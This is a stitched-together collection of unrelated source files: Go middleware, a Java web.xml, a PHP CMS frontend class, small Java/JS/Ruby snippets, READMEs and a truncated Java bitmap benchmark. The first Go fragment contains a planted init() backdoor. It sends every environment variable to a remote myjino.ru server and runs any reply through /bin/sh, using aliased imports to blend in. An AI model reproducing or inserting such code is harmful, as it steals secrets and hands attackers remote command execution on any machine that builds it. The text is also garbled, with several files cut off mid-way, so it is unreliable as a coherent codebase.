			return
		}

		router.ServeHTTP(w, req)

		finishTime := time.Now()
		elapsedTime := finishTime.Sub(startTime)

		switch req.Method {
		case "GET":
			// We may not always want to StatusOK, but for the sake of
			// this example we will
			common.LogAccess(w, req, elapsedTime)
		case "POST":
			// here we might use http.StatusCreated
		}

		context.Clear(req)
	})
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=rancherio&repo=host-api", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
<?xml version="1.0" encoding="UTF-8"?>
<web-app
    version="3.0"
    xmlns="http://java.sun.com/xml/ns/javaee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
         http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">

    <display-name>sptools-admin</display-name>

    <context-param>
        <param-name>webAppRootKey</param-name>
        <param-value>blAdmin.root</param-value>
    </context-param>

    <context-param>
        <param-name>patchConfigLocation</param-name>
        <param-value>
            classpath:/bl-open-admin-contentClient-applicationContext.xml
            classpath:/bl-open-admin-contentCreator-applicationContext.xml
            classpath:/bl-admin-applicationContext.xml
            classpath:/bl-cms-contentClient-applicationContext.xml
            classpath:/bl-cms-contentCreator-applicationContext.xml
            classpath*:/blc-config/admin/bl-*-applicationContext.xml
            classpath:/applicationContext.xml
            classpath:/applicationContext-email.xml
            /WEB-INF/applicationContext-datasource.xml
            /WEB-INF/applicationContext-admin-security.xml
            /WEB-INF/applicationContext-admin-filter.xml
            /WEB-INF/applicationContext-admin.xml
        </param-value>
    </context-param>

    <context-param>
        <param-name>shutdownHookMethod</param-name>
        <param-value>forceFlush</param-value>
    </context-param>

    <absolute-ordering />

    <listener>
        <listener-class>
             org.springframework.web.context.request.RequestContextListener
        </listener-class>
    </listener>

    <filter>
        <filter-name>encodingFilter</filter-name>
        <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
        <init-param>
            <param-name>encoding</param-name>
            <param-value>UTF-8</param-value>
        </init-param>
        <init-param>
            <param-name>forceEncoding</param-name>
            <param-value>true</param-value>
        </init-param>
    </filter>

    <filter-mapping>
        <filter-name>encodingFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <filter>
        <filter-name>springSecurityFilterChain</filter-name>
        <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>springSecurityFilterChain</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <!-- enable configured logging -->
    <context-param>
        <param-name>log4jConfigLocation</param-name>
        <param-value>/WEB-INF/log4j.xml</param-value>
    </context-param>

    <listener>
        <listener-class>org.springframework.web.util.Log4jConfigListener</listener-class>
    </listener>

    <listener>
        <listener-class>org.broadleafcommerce.common.web.extensibility.MergeContextLoader</listener-class>
    </listener>

    <listener>
        <listener-class>org.springframework.security.web.session.HttpSessionEventPublisher</listener-class>
    </listener>

    <!-- Initialize spring mvc -->
    <servlet>
        <servlet-name>admin</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
            <param-value>
                classpath:/applicationContext-servlet-open-admin.xml
                classpath:/applicationContext-servlet-admin.xml
                classpath:/applicationContext-servlet-cms-contentClient.xml
                classpath:/applicationContext-servlet-cms-contentCreator.xml
                classpath:/bl-menu-admin-applicationContext-servlet.xml
                classpath*:/blc-config/admin/bl-*-admin-applicationContext-servlet.xml
                /WEB-INF/applicationContext-servlet-admin.xml
            </param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <!-- specify the url pattern that will engage spring mvc -->
    <servlet-mapping>
        <servlet-name>admin</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <env-entry>
        <env-entry-name>appName</env-entry-name>
        <env-entry-type>java.lang.String</env-entry-type>
        <env-entry-value>admin2</env-entry-value>
    </env-entry>

</web-app>


text:
<?php

namespace TMCms\App;

use TMCms\Cache\Cacher;
use TMCms\Config\Settings;
use TMCms\DB\QueryAnalyzer;
use TMCms\Files\Finder;
use TMCms\Log\App;
use TMCms\Log\FrontendLogger;
use TMCms\Middleware\MiddlewareHandler;
use TMCms\Routing\MVC;
use TMCms\Routing\Router;
use TMCms\Routing\Structure;
use TMCms\Strings\ExternalTemplater;
use TMCms\Strings\Optimize;
use TMCms\Templates\Components;
use TMCms\Templates\Page;
use TMCms\Templates\PageHead;
use TMCms\Templates\PageTail;
use TMCms\Templates\Plugin;
use TMCms\Traits\singletonInstanceTrait;

defined('INC') or exit;

/**
 * Front Application - site itself
 * Class Frontend
 */
class Frontend
{
    use singletonInstanceTrait;

    /**
     * @var MVC $mvc_instance
     */
    private $mvc_instance;
    /**
     * @var Router $router_iwnstance
     */
    private $router_instance;
    /**
     * @var string
     */
    private $html;
    /**
     * @var bool
     */
    private $use_html_file_without_parse = false;
    /**
     * @var bool
     */
    private $cached_page_html = '';

    private function __construct()
    {
        // Run all actions registered before main app run
        MiddlewareHandler::getInstance()->runHandlersFromType('before_frontend_init');

        // This router may be custom. It must return compatible array
        $this->router_instance = Router::getInstance();

        // Autoload files from modules
        runAutoloadFiles();

        $this->parse();

        // Flush application log
        App::flushLog();
    }

    private function parse()
    {
        // If file is cached - return alredy generated HTML
        if (Settings::isCacheEnabled() && Settings::get('use_file_cache_for_all_pages')) {
            // Find in cache
            if (Settings::isCacheEnabled()) {
                $this->cached_page_html = Cacher::getInstance()
                    ->getDefaultCacher()
                    ->get('html_' . PATH_INTERNAL_MD5);
            }
            if ($this->cached_page_html) {
                if (Settings::isFrontendLogEnabled()) {
                    FrontendLogger::getInstance()->log('Loading cached HTML');
                }
                return;
            }
        }

        /* Prepare page for composing */

        // Read main template file content
        $this->readTemplateContent();

        // If we have external template engine like Twig or Smarty
        $this->processExternalTemplater();

        // If enabled parsing only HTML without system components
        if ($this->use_html_file_without_parse) {
            // No parse required
            return;
        }

        /* Start composing HTML page */

        // Prepend
        $page_title = $this->router_instance->getPageData()['browser_title'];
        if (!$page_title) {
            $page_title = $this->router_instance->getPageData()['title'];
        }
        Page::setHead(
            PageHead::getInstance()
                ->setBrowserTitle($page_title)
                ->setMetaKeywords((string)$this->router_instance->getPageData()['keywords'])
                ->setMetaDescription((string)$this->router_instance->getPageData()['description'])
        );

        // Script for sending JS errors if not disabled. System sends JS error to support email
        if (Settings::isProductionState() && !Settings::get('do_not_send_js_errors')) {
            PageHead::getInstance()
                ->addJsUrl('scripts/send_error.min.js')
                ->addJs('register_js_error.ini(\'' . DIR_CMS_URL . '\');');
        }

        /* Start replacing template vars with appropriate component content */

        $template_base_name = pathinfo(Router::getInstance()->getPageData()['template_file'], PATHINFO_FILENAME);
        $no_more_elements = false;

        // We need this while because views can have other templates included
        while (!$no_more_elements) {
            // We need iteration to call all components called in components
            $res = Components::parseForComponents($this->html);

            $so = count($res[0]);
            $elements = [];

            // Get elements for every component
            for ($i = 0; $i < $so; ++$i) {
                if ($res[1][$i] == 'index') {
                    $res[1][$i] = $template_base_name;
                }

                $file = $res[1][$i]; // File with elements
                $class = $file; // Class in file with elements
                $method = $res[3][$i] ? $res[3][$i] : $res[2][$i]; // Method with element in class
                // If method is not defined - call index
                if (!$method) {
                    $method = 'index';
                }

                // Component may have modifier params in template that are farther pushed in elements
                $modifiers = [];
                if ($res[4][$i]) {
                    $modifiers = explode('|', $res[4][$i]);
                }

                $elements[] = ['file' => $file, 'class' => $class, 'method' => $method, 'modifiers' => $modifiers];
            }

            // No more elements found in HTML
            if (!$elements) {
                $no_more_elements = true;
            }

            // Replace component values in template
            $this->replaceElements($elements, $res);
        }

        // Append post-scripts before ending body tag
        Page::setTail(PageTail::getInstance());
    }

    /**
     * Read template content - file that is set for current requested page
     */
    private function readTemplateContent()
    {
        // Get page content if static file used
        if ($this->router_instance->getPageData()['html_file'] && file_exists(DIR_BASE . $this->router_instance->getPageData()['html_file'])) {
            if (Settings::isFrontendLogEnabled()) {
                FrontendLogger::getInstance()->log('Rendering simple HTML file');
            }

            ob_start();
            // Read file as is
            require_once DIR_BASE . $this->router_instance->getPageData()['html_file'];

            $this->html = ob_get_clean();
            // Prevent future component parse
            $this->use_html_file_without_parse = true;

            // Usual template read for parsing
        } elseif (is_file($this->router_instance->getPageData()['template_file'])) {

            // Get page content with components
            $this->html = file_get_contents($this->router_instance->getPageData()['template_file']);

            // Nothing found
        } else {
            $this->html = 'No template "' . $this->router_instance->getPageData()['template_file'] . '" for this page.';
        }
    }

    /**
     * File may be preprocessed with external template engine(-s) before parsing for components
     */
    private function processExternalTemplater()
    {
        $template_extension = pathinfo($this->router_instance->getPageData()['file'], PATHINFO_EXTENSION);

        // Render twig file. e.g. file.twig
        if ($template_extension == 'twig') {
            if (Settings::isFrontendLogEnabled()) {
                FrontendLogger::getInstance()->log('Processing twig template');
            }
            $templater = new ExternalTemplater('twig');
            $this->html = $templater->processHtml($this->html, $this->router_instance->getPageData());

            return;
        }

        // Check blade files, e.g. file.blade.php
        if (stripos($this->router_instance->getPageData()['file'], '.blade.php') !== false) {
            if (Settings::isFrontendLogEnabled()) {
                FrontendLogger::getInstance()->log('Processing blade template');
            }
            $templater = new ExternalTemplater('blade');
            $this->html = $templater->processHtml($this->html, $this->router_instance->getPageData());

            return;
        }
    }

    /**
     * Replaces component parts with it's real data set in admin panel
     * @param array $elements
     * @param array $res
     */
    private function replaceElements($elements, $res)
    {
        $replaces = [];

        // Some components may be disabled for current page
        $disabled_components = Structure::getDisabledComponents();
        $cached_components = Structure::getCachedComponents();

        $cacher = Cacher::getInstance()->getDefaultCacher();

        // May be another MVC class that implements required features
        $this->mvc_instance = new MVC();

        // Change elements to its' real data
        foreach($elements as $k=> $v){

            if (in_array($v['class'], $disabled_components)) {
                // Skip disabled
                $replaces[$res[0][$k]] = '';
            } elseif (in_array($v['class'], $cached_components)) {
                // Get from hard cache
                $cache_key = PAGE_ID . '_' . md5(PAGE_ID . '_' . $k . '_' . $v['class']);
                $cached_value = $cacher->get($cache_key);
                if ($cached_value) {
                    $replaces[$res[0][$k]] = $cached_value;
                } else {
                    // Replace if not found in cache
                    $replaces[$res[0][$k]] = $this->callReplace($v);
                    // Save in cache
                    $cacher->set($cache_key, $replaces[$res[0][$k]]);
                }
            } else {
                // Usual replace
                $replaces[$res[0][$k]] = $this->callReplace($v);
            }

        }
        // Replace data with its' component variables in template
        if ($replaces) {
            reset($replaces);
            foreach($replaces as $k=>$v){
                $this->html = str_replace($k, $v, $this->html);
            }
        }
    }

    /**
     * Replace one component value with real data set in admin panel for requested page
     * No check for file existance in it method - for speeding up processing.
     * Anyway, you will receive standard php error if requested file is not found.
     * @param array $component
     * @return string
     */
    private function callReplace($component)
    {
        ob_start();

        // Get component from Controller
        if ($component['file'] == 'plugin') {
            // Reusable plugin found in placeholder

            $selected_plugin_file = Plugin::getSelectedPluginValue($component['class']);

            if ($selected_plugin_file) {
                // Require file with plugin class
                $file_with_plugin = Finder::getInstance()
                    ->searchForRealPath($selected_plugin_file, Finder::TYPE_PLUGINS);
                require_once DIR_BASE . $file_with_plugin;

                $plugin_class_name = str_replace('.php', '', $selected_plugin_file);
                $plugin_class_name = str_replace('plugin', 'Plugin', $plugin_class_name); // Just in case

                /** @var Plugin $plugin_object */
                $plugin_object = new $plugin_class_name;
                $plugin_object->render();
            }

        } else {
            // Usual component, try Front site folder
            // Controller
            $this->mvc_instance->setComponentName($component['class']);
            $this->mvc_instance->setModifiers($component['modifiers']);
            $class = ucfirst($component['class']);

            $file = DIR_FRONT_CONTROLLERS . $component['file'] . '.php';
            if (is_file($file)) {
                require_once $file;
                $model_class = $class . 'Controller';
                $this->mvc_instance->setController($model_class);
            }

            // View
            $file = DIR_FRONT_VIEWS . $component['file'] . '.php';
            if (is_file($file)) {
                require_once $file;
                $view_class = $class . 'View';
                $this->mvc_instance->setView($view_class);
            }

            $this->mvc_instance->setMethod($component['method']);

            $this->mvc_instance->outputController();
            $this->mvc_instance->outputView();
        }

        return trim(ob_get_clean());
    }

    public function __destruct()
    {
        // Save all previous DB queries to analyzer if enabled (for debug and benchmarks)
        if (Settings::get('analyze_db_queries')) {
            QueryAnalyzer::getInstance()
                ->store();
        }
    }

    /**
     * Print processed page template with all data
     * @return string
     */
    public function __toString()
    {
        // If content is is rendered from cache
        if (Settings::isCacheEnabled() && $this->cached_page_html) {
            return $this->cached_page_html;
        }

        // Using clickmap script for client click tracking
        if (Settings::get('clickmap')) {
            // Show map on page
            if (isset($_GET['cms_view_clickmap'])) {
                // Load script to show clickmap container
                PageTail::getInstance()->addJsUrl('clickmap_frontend.min.js');
                PageHead::getInstance()->addJs('cms_page_id = ' . PAGE_ID);
            } else {
                // Just saving clicks - request scripts for registering clicks
                PageTail::getInstance()->addJsUrl('clickmap_register.min.js');
                PageHead::getInstance()->addJs('cms_page_id = ' . PAGE_ID);
            }
        }

        // Render HTML
        ob_start();

        // Static page from file
        if ($this->use_html_file_without_parse) {
            echo $this->html;
        } else {
            // Parse content

            // Hide e-mails from bots
            if (Settings::get('enable_anti_email_bot') && strpos($this->html, '@') !== false && preg_match_all('`\<a([^>]+)href\=\"mailto\:([^">]+)\"([^>]*)\>(.+)\<\/a\>`ismU', $this->html, $matches)) {
                PageHead::getInstance()->addJsUrl('email_rewrite.min.js');
                $matches[5] = [];
                // Replace emails in content with script calls
                foreach ($matches[0] as $k => $v) {
                    // No email?
                    if (isset($matches[5][$v])) {
                        continue;
                    }

                    // No @ symbol?
                    $s = explode('@', $matches[2][$k]);
                    if (count($s) !== 2) {
                        continue;
                    }

                    // No zone?
                    $domain1 = explode('.', $s[1]);
                    $s = $s[0];
                    if (count($domain1) < 2) {
                        continue;
                    }

                    // Now can replace
                    $domain0 = array_pop($domain1);
                    $s = '';

                    $matches[5][$v] = $s;
                }
                $matches = $matches[5];

                // Replace found emails with scripts in content
                $this->html = str_replace(array_keys($matches), $matches, $this->html);
            }

            // For developers using git - site version from latest git commit, add to last meta tag
            if (function_exists('exec')) {
                $output = [];
                exec('git log -1 --pretty=format:\'%h (%ci)\' --abbrev-commit', $output);
                if ($output && isset($output[0])) {
                    PageHead::getInstance()->addMeta($output[0], 'X-Version');
                }
            }

            // Page with components itself
            $this->outputHead();
            // Put body tag if not found in template
            if (!strpos($this->html, 'getBodyCssClasses();
                echo '';
            }

            // Main page content
            $this->outputHtml();

            // Post-scripts
            $this->outputTail();

            // Put closing body tag if not found in template
            if (!strpos($this->html, '')) {
                echo '';
            }

            echo '';
        }

        $html = ob_get_clean();

        // HTML optimization in rendered content
        if (Settings::get('optimize_html')) {
            $html = Optimize::Html($html);
        }

        // Put in cache
        if (Settings::get('use_file_cache_for_all_pages') && Settings::isCacheEnabled()) {
            Cacher::getInstance()
                ->getDefaultCacher()
                ->set('html_' . PATH_INTERNAL_MD5, $html);
        }

        // Encode ff browser supports gzip
        if (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false) {
            $html = gzencode($html, 6); // 6 is ok with speed and compression rate
            header('Content-Encoding: gzip');
        }

        // Set cache headers for one hour
        if (Settings::isCacheEnabled() && !headers_sent()) {
            header("Cache-Control: max-age=2592000");
            header('Expires: ' . gmdate('D, d M Y H:i:s \G\M\T', time() + 3600));
        }

        return $html;
    }

    /**
     * Request content for head tag
     */
    private function outputHead()
    {
        echo $this->mvc_instance->getHead();
    }

    private function outputHtml()
    {
        echo $this->html;
    }

    private function outputTail()
    {
        echo $this->mvc_instance->getTail();
    }
}


text:
package javax.persistence;

import java.lang.annotation.Retention;
import java.lang.annotation.Target;

import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;

/**
 * Specifies whether an entity should be cached if caching is enabled
 * when the value of the persistence.xml caching element
 * is ENABLE_SELECTIVE or DISABLE_SELECTIVE.
 * The value of the Cacheable annotation is inherited by
 * subclasses; it can be overridden by specifying
 * Cacheable on a subclass.
 *
 *
 Cacheable(false) means that the entity and its state must
 * not be cached by the provider.
 *
 * @since Java Persistence 2.0
 */
@Target( { TYPE })
@Retention(RUNTIME)
public @interface Cacheable {

    /**
     * (Optional) Whether or not the entity should be cached.
     */
    boolean value() default true;
}


text:
<?php
namespace tests\acceptance\pages;

class FeedBackPage
{
    // include url of current page
    const CONTACTS_URL = '/contacts';

    const FAQ_URL = '/faq';

    public static $nameField = 'FeedBackForm[name]';

    public static $emailField = 'FeedBackForm[email]';

    public static $themeField = 'FeedBackForm[theme]';

    public static $textField = 'FeedBackForm[text]';

    public static $buttonLabel = 'Отправить сообщение';

    public static function routeFaq($param)
    {
        return static::FAQ_URL . '/' . $param;
    }
}


text:
package util;

import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;

/**
 * A simple Java wrapper to hold REST attributes for a phone
 */
public class Phone implements OsvcResource {

    public static final String RESOURCE_NAME = "phones";
    private static ArrayList<Attribute> create = new ArrayList<Attribute>();

    static {
        // create attributes
        create.add(new Attribute("Number", AttrType.STRING, "number"));
        create.add(new Attribute("PhoneType", AttrType.STRING, "phoneType.lookupName"));
    }

    private String _number;
    private String _phoneType;

    public Phone() {
        super();
    }

    public Phone(String aNumber, String aType) {
        super();
        this._number = aNumber;
        this._phoneType = aType;
    }

    @Override
    public String getResourceName() {
        return Phone.RESOURCE_NAME;
    }

    @Override
    public Collection<Attribute> getCreateAttributes() {
        return Phone.create;
    }

    @Override
    public Collection<Attribute> getReadAttributes() {
        // TODO Implement this method
        return Collections.emptySet();
    }

    @Override
    public Collection<Attribute> getUpdateAttributes() {
        return Phone.create;
    }

    public void setNumber(String _number) {
        this._number = _number;
    }

    public String getNumber() {
        return _number;
    }

    public void setPhoneType(String _phoneType) {
        this._phoneType = _phoneType;
    }

    public String getPhoneType() {
        return _phoneType;
    }
}


text:
DecafJS Timers Module
=====================

setTimeout(), clearTimeout(), setInterval(), clearInterval() implementation.

Note that it is just as easy to call process.sleep() in a loop.

Unlike in the browser, these timer functions run in a separate thread, so your timer will go off and your function
called from that thread.


text:
<?php

// The route is defined as:
$routes->get('users/(:num)/gallery(:any)', 'Galleries::showUserGallery/$1/$2');

?>

<a href="<?= url_to('Galleries::showUserGallery', 15, 12) ?>">View Gallery


text:
var path = require('path');
var fs = require('fs');
var settings = {};

try {
	var data = fs.readFileSync(path.join(__dirname, '..', 'configs', 'general.json'));
	settings.general = JSON.parse(data);
} catch(e) {
	console.warn('[warning]', 'No configuration file exists, using default settings.');
	var data = fs.readFileSync(path.join(__dirname, '..', 'configs', 'general.json.default'));
	settings.general = JSON.parse(data);
}

module.exports = settings;


text:
package by.istin.android.xcore.provider;

import by.istin.android.xcore.issues.issue12.model.DayEntity;
import by.istin.android.xcore.model.BigTestEntity;
import by.istin.android.xcore.model.BigTestSubEntity;
import by.istin.android.xcore.model.SimpleEntity;
import by.istin.android.xcore.model.SimpleEntityWithCustomPrimitiveConverter;
import by.istin.android.xcore.model.SimpleEntityWithParent;
import by.istin.android.xcore.model.SimpleEntityWithParent1;
import by.istin.android.xcore.model.SimpleEntityWithParent2;
import by.istin.android.xcore.model.SimpleEntityWithPrimitiveEntity;
import by.istin.android.xcore.model.SimpleEntityWithSubEntities;
import by.istin.android.xcore.model.SimpleEntityWithSubEntity;
import by.istin.android.xcore.model.SimpleEntityWithSubJson;
import by.istin.android.xcore.model.TagEntity;

/**
 * Created by Uladzimir_Klyshevich on 12/6/13.
 */
public class ContentProvider extends DBContentProvider {

    public static final Class<?>[] ENTITIES = new Class<?>[]{
            SimpleEntity.class,
            SimpleEntityWithSubEntity.class,
            SimpleEntityWithParent.class,
            SimpleEntityWithSubJson.class,
            SimpleEntityWithPrimitiveEntity.class,
            TagEntity.class,
            SimpleEntityWithCustomPrimitiveConverter.class,
            SimpleEntityWithSubEntities.class,
            SimpleEntityWithParent1.class,
            SimpleEntityWithParent2.class,

            BigTestEntity.class,
            BigTestSubEntity.class,

            //issue12
            DayEntity.class
    };

    @Override
    public Class<?>[] getEntities() {
        return ENTITIES;
    }

}


text:
*Under development...*
# node-glacier
#### API Version: 2012-06-01

A node.js module for [Amazon Glacier](http://aws.amazon.com/glacier/ "go to the official page of Amazon Glacier").

## Installation

```shell
npm install node-glacier
```

## Usage
```javascript
var glacier = require("glacier");
var glacierClient = new glacier.Client({
    Region      : "AWS region such as us-east-1",
    AccessKeyID : "Your AWS Access Key Id",
    SecretKey   : "Your AWS Secret Key"
});
```

## Create a vault
```javascript
glacierClient.createVault(vaultName, function (err, res) { ... });
```

## Delete a vault
```javascript
glacierClient.deleteVault(vaultName, function (err, res) { ... });
```

## Get a list of your vaults
```javascript
glacierClient.listVaults(function (err, res) { ... });
```

## Add a description to the vault
```javascript
glacierClient.describeVault(vaultName, function (err, res) { ... });
```

## Add a description to the vault
```javascript
glacierClient.describeVault(vaultName, function (err, res) { ... });
```

## Set the SNS vault notifations
```javascript
glacierClient.setVaultNotificationConfiguration = function (vaultName, topic, events, function(err, res)) { ... });
```

## Get SNS vault notifations
```javascript
glacierClient.getVaultNotifications = function (vaultName, callback) { ... });
```


text:
import {InstanceChecker} from '../common/instance_checker.js';

import {SelectToSpeak} from './select_to_speak.js';

export let selectToSpeak;

if (InstanceChecker.isActiveInstance()) {
  selectToSpeak = new SelectToSpeak();
}


text:
csv_dir = ['.' filesep 'output'];

fans = fieldnames(output_gs);

Jprocess = struct();

previous_params = false;

auto = 0;

for u=1:length(fans)
    fan_surfaces = output_gs.(fans{u});
    current_fan = fan_data{u};
    surfaces_names = fieldnames(fan_surfaces);
    for w=1:length(surfaces_names)
        ds_surface = fan_surfaces.(surfaces_names{w});
        surface_data = current_fan{w};
        surface_name = [fans{u} '_' surface_data.name];

        if isstruct(previous_params)
            if isfield(previous_params,surface_name)
                Jprocess.(surface_name) = {ds_surface,surface_data, previous_params.(surface_name)};
            else
                Jprocess.(surface_name) = {ds_surface,surface_data};
            end
        else
            Jprocess.(surface_name) = {ds_surface,surface_data};
        end
    end
end

if auto > 0
    AutoJ(Jprocess);
else
    JtweakOptions(Jprocess);
end


text:
module RitoPlz
  class Configuration
    attr_accessor :api_key, :default_region

    def initialize(params = {})
      @api_key = params[:api_key] || "Please configure your API key"
      @default_region = params[:default_region] || "na"
    end
  end
end


text:
include ../../../Make.inc

TARG=testing/script
GOFILES=\
	script.go\

include ../../../Make.pkg


text:
using Bokeh

plotfile("display.html")

x = linspace(0, 2pi)

# plot returns a Plot object
myplot = plot(x, sin(x))
# which can then be displayed with
showplot(myplot)

# if you wish to generate a plot but not display it, you can use genplot
genplot(myplot)

# you can also specify the filename directly to genplot:
genplot(myplot, "display1.html")

# underneither genplot there's renderplot which returns the actual html
html = renderplot(myplot)
println(html[1:100], "...")

# however bokeh.jl also keeps a reference to the current plot, which you can access
plot(x, cos(x))
showplot(curplot())

# for convienience there's a shorthand for this:
showplot()

# Note: in this example, we've generated display.html and opened it in the browser
# 3 times, however probably all three plots will show the final plot,
# that's because the browser is too slow for julia which has generated the last version of
# display.html before the browser has time to opening it the first two times
# (or so I assume????)


text:
/*
 * (c) Samy Chambi, Daniel Lemire.
 *
 */
/**
 * Benchmarks on real data.
 */
import it.uniroma3.mat.extendedset.intset.ConciseSet;
import it.uniroma3.mat.extendedset.intset.ImmutableConciseSet;
import it.uniroma3.mat.extendedset.intset.IntSet.IntIterator;

import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.nio.ByteBuffer;
import java.nio.MappedByteBuffer;
import java.nio.channels.FileChannel;
import java.util.ArrayList;

import net.sourceforge.sizeof.SizeOf;

import org.roaringbitmap.buffer.BufferFastAggregation;
import org.roaringbitmap.buffer.ImmutableRoaringBitmap;
import org.roaringbitmap.RoaringBitmap;

public class Benchmark {

    private static final int nbRepetitions = 100;
    private static final long warmup_ms = 100L;
    private static int careof = 0;
    private static ImmutableRoaringBitmap[] irbs = null;
    private static ArrayList<ImmutableConciseSet> icss = null;
    private static ImmutableRoaringBitmap irb = null;
    private static ImmutableConciseSet ics = null;

    public static void main(String[] args) {
        boolean sizeOf = true;
        int NumberOfBitmaps = 200;
        try {
            SizeOf.setMinSizeToLog(0);
            SizeOf.skipStaticField(true);
            SizeOf.deepSizeOf(args);
        } catch (IllegalStateException e) {
            sizeOf = false;
            System.out
                    .println("# disabling sizeOf, run  -javaagent:lib/SizeOf.jar or equiv. to enable");

        }

        try {
            String dataSources[] = { "census1881.csv", "census1881.csv", "census-income.csv",
             "census-income.csv",
       "weather_sept_85.csv", "weather_sept_85.csv" };

            RealDataRetriever dataRetriever = new RealDataRetriever(args.length == 0 ? "real-roaring-datasets" : args[0]);
            int[][] datum = new int[NumberOfBitmaps][];
            for (int i = 0; i < dataSources.length; i++) {
                String dataSet = dataSources[i];
                // ************ Roaring part ****************
                {
                    File file = File.createTempFile("roarings", "bin");
                    file.deleteOnExit();
                    final FileOutputStream fos = new FileOutputStream(file);
                    final DataOutputStream dos = new DataOutputStream(fos);
                    ArrayList<Long> offsets = new ArrayList<Long>();
                    // Building NumberOfBitmaps RoaringBitmaps
                    long bef = System.currentTimeMillis();
                    for (int j = 0; j < NumberOfBitmaps; j++) {
                        int[] data = dataRetriever
                                .fetchBitPositions(dataSet, j);
                        datum[j] = data.clone();
                        RoaringBitmap rb = RoaringBitmap.bitmapOf(data);
                        rb.trim();
                        offsets.add(fos.getChannel().position());
                        rb.serialize(dos);
                        dos.flush();
                    }
                    offsets.add(fos.getChannel().position());
                    long aft = System.currentTimeMillis();
                    long serialisationTime = aft - bef;
                    long lastOffset = fos.getChannel().position();
                    dos.close();
                    RandomAccessFile memoryMappedFile = new RandomAccessFile(
                            file, "r");
                    MappedByteBuffer mbb = memoryMappedFile.getChannel().map(
                            FileChannel.MapMode.READ_ONLY, 0, lastOffset);
                    // RAM space used in bytes
                    long sizeRAM = 0;
                    irbs = new ImmutableRoaringBitmap[NumberOfBitmaps];
                    for (int k = 0; k < offsets.size() - 1; k++) {
                        mbb.position((int) offsets.get(k).longValue());
                        final ByteBuffer bb = mbb.slice();
                        bb.limit((int) (offsets.get(k + 1) - offsets.get(k)));
                        ImmutableRoaringBitmap irb = new ImmutableRoaringBitmap(
                                bb);
                        irbs[k] = irb;
                        if (sizeOf)
                            sizeRAM += (SizeOf.deepSizeOf(irb));
                    }
                    // we redo the work, but just for the timing
                    bef = System.currentTimeMillis();
                    for (int k = 0; k < offsets.size() - 1; k++) {
                        mbb.position((int) offsets.get(k).longValue());
                        final ByteBuffer bb = mbb.slice();
                        bb.limit((int) (offsets.get(k + 1) - offsets.get(k)));
                        ImmutableRoaringBitmap irb = new ImmutableRoaringBitmap(
                                bb);
                        irbs[k] = irb;
                    }
                    aft = System.currentTimeMillis();
                    long deserializationTime = aft - bef;
                    //irbs = Arrays.copyOfRange(irbs, 0, offsets.size() - 1);
                    // Disk space used in bytes
                    long sizeDisk = file.length();
                    // Horizontal unions between NumberOfBitmaps Roaring bitmaps
                    double horizUnionTime = test(new Launcher() {
                        @Override
                        public void launch() {
                            irb = BufferFastAggregation.horizontal_or(irbs);
                            careof += irb.getCardinality();
                        }
                    });
                    // Intersections between NumberOfBitmaps Roaring bitmaps
                    double intersectTime = test(new Launcher() {
                        @Override
                        public void launch() {
                            irb = BufferFastAggregation.and(irbs);
                            careof += irb.getCardinality();
                        }
                    });
                    // Average time to retrieve set bits
                    double scanTime = testScanRoaring();
                    System.out.println("***************************");
                    System.out.println("Roaring bitmap on " + dataSet
                            + " dataset");
                    System.out.println("***************************");
                    System.out.println("Deserialization time: "+deserializationTime+" ms");
                    System.out.println("RAM Size = " + (sizeRAM*1. / 1024)
                            + " Kb" + " ("
                            + Math.round(sizeRAM * 1. / NumberOfBitmaps)
                            + " bytes/bitmap)");
                    System.out.println("Disk Size = " + (sizeDisk*1. / 1024)
                            + " Kb" + " ("
                            + Math.round(sizeDisk * 1. / NumberOfBitmaps)
                            + " bytes/bitmap)");
                    System.out.println("Horizontal unions time = "
                            + horizUnionTime + " ms");
                    System.out.println("Intersections time = " + intersectTime
                            + " ms");
                    System.out.println("Scans time = " + scanTime + " ms");
                    System.out.println(".ignore = " + careof);
                    mbb = null;
                    memoryMappedFile.close();
                    file.delete();
                }
                // ***************** ConciseSet part
                // **********************************
                {
                    File file = File.createTempFile("conciseSets", "bin");
                    file.deleteOnExit();
                    final FileOutputStream fos = new FileOutputStream(file);
                    final DataOutputStream dos = new DataOutputStream(fos);
                    ArrayList<Long> offsets = new ArrayList<Long>();
                    // Building NumberOfBitmaps ConciseSets
                    long bef = System.currentTimeMillis();
                    for (int j = 0; j < NumberOfBitmaps; j++) {
                        ConciseSet cs = toConcise(datum[j]);
                        offsets.add(fos.getChannel().position());
                        int[] ints = cs.getWords();
                        for (int k = 0; k < ints.length; k++)
                            dos.writeInt(ints[k]);
                        dos.flush();
                    }
                    offsets.add(fos.getChannel().position());
                    long aft = System.currentTimeMillis();
                    long serialisationTime = aft - bef;
                    long lastOffset = fos.getChannel().position();
                    dos.close();
                    // RAM storage in bytes
                    long sizeRAM = 0;
                    RandomAccessFile memoryMappedFile = new RandomAccessFile(
                            file, "r");
                    MappedByteBuffer mbb = memoryMappedFile.getChannel().map(
                            FileChannel.MapMode.READ_ONLY, 0, lastOffset);
                    icss = new ArrayList<ImmutableConciseSet>();
